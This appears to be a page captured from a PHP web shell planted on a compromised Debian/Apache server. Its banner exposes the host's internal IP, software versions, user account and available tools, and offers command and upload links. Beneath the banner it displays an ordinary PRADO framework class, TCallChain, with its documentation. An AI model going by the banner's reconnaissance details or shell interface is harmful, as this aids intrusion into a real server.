|
Server IP : 10.2.73.233 / Your IP : 216.73.216.223 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ifk/web/assets/../framework/Exceptions/../Util/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* TCallChain class file.
*
* @author Brad Anderson <javalizard@gmail.com>
* @link http://www.pradosoft.com/
* @copyright Copyright © 2008-2014 Pradosoft
* @license http://www.pradosoft.com/license/
*/
/**
* TCallChain is a recursive event calling mechanism. This class implements
* the {@link IDynamicMethods} class so that any 'dy' event calls can be caught
* and patched through to the intended recipient
* @author Brad Anderson <javalizard@gmail.com>
* @package System.Util
* @since 3.2.3
*/
class TCallChain extends TList implements IDynamicMethods
{
/**
* @var {@link TListIterator} for moving through the chained method calls
*/
private $_iterator=null;
/**
* @var string the method name of the call chain
*/
private $_method=null;
/**
* This initializes the list and the name of the method to be called
* @param string the name of the function call
*/
public function __construct($method) {
$this->_method=$method;
parent::__construct();
}
/**
* This initializes the list and the name of the method to be called
* @param string|array this is a callable function as a string or array with
* the object and method name as string
* @param array The array of arguments to the function call chain
*/
public function addCall($method,$args)
{
$this->add(array($method,$args));
}
/**
* This method calls the next Callable in the list. All of the method arguments
* coming into this method are substituted into the original method argument of
* call in the chain.
*
* If the original method call has these parameters
* <code>
* $originalobject->dyExampleMethod('param1', 'param2', 'param3')
* </code>
* <code>
* $callchain->dyExampleMethod('alt1', 'alt2')
* </code>
* then the next call in the call chain will recieve the parameters as if this were called
* <code>
* $behavior->dyExampleMethod('alt1', 'alt2', 'param3', $callchainobject)
* </code>
*
* When dealing with {@link IClassBehaviors}, the first parameter of the stored argument
* list in 'dy' event calls is always the object containing the behavior. This modifies
* the parameter replacement mechanism slightly to leave the object containing the behavior
* alone and only replacing the other parameters in the argument list. As per {@link __call},
* any calls to a 'dy' event do not need the object containing the behavior as the addition of
* the object to the argument list as the first element is automatic for IClassBehaviors.
*
* The last parameter of the method parameter list for any callable in the call chain
* will be the TCallChain object itself. This is so that any behavior implementing
* these calls will have access to the call chain. Each callable should either call
* the TCallChain call method internally for direct chaining or call the method being
* chained (in which case the dynamic handler will pass through to this call method).
*
* If the dynamic intra object/behavior event is not called in the behavior implemented
* dynamic method, it will return to this method and call the following behavior
* implementation so as no behavior with an implementation of the dynamic event is left
* uncalled. This does break the call chain though and will not act as a "parameter filter".
*
* When there are no handlers or no handlers left, it returns the first parameter of the
* argument list.
*
*/
public function call()
{
$args=func_get_args();
if($this->getCount()===0)
return isset($args[0])?$args[0]:null;
if(!$this->_iterator)
{
$chain_array=array_reverse($this->toArray());
$this->_iterator=new TListIterator($chain_array);
}
if($this->_iterator->valid())
do {
$handler=$this->_iterator->current();
$this->_iterator->next();
if(is_array($handler[0])&&$handler[0][0] instanceof IClassBehavior)
array_splice($handler[1],1,count($args),$args);
else
array_splice($handler[1],0,count($args),$args);
$handler[1][]=$this;
$result=call_user_func_array($handler[0],$handler[1]);
} while($this->_iterator->valid());
else
$result = $args[0];
return $result;
}
/**
* This catches all the unpatched dynamic events. When the method call matches the
* call chain method, it passes the arguments to the original __call (of the dynamic
* event being unspecified in TCallChain) and funnels into the method {@link call},
* so the next dynamic event handler can be called.
* If the original method call has these parameters
* <code>
* $originalobject->dyExampleMethod('param1', 'param2', 'param3')
* </code>
* and within the chained dynamic events, this can be called
* <code>
* class DyBehavior extends TBehavior {
* public function dyExampleMethod($param1, $param2, $param3, $callchain)
* $callchain->dyExampleMethod($param1, $param2, $param3)
* }
* {
* </code>
* to call the next event in the chain.
* @param string method name of the unspecified object method
* @param array arguments to the unspecified object method
*/
public function __dycall($method,$args)
{
if($this->_method==$method)
return call_user_func_array(array($this,'call'),$args);
return null;
}
}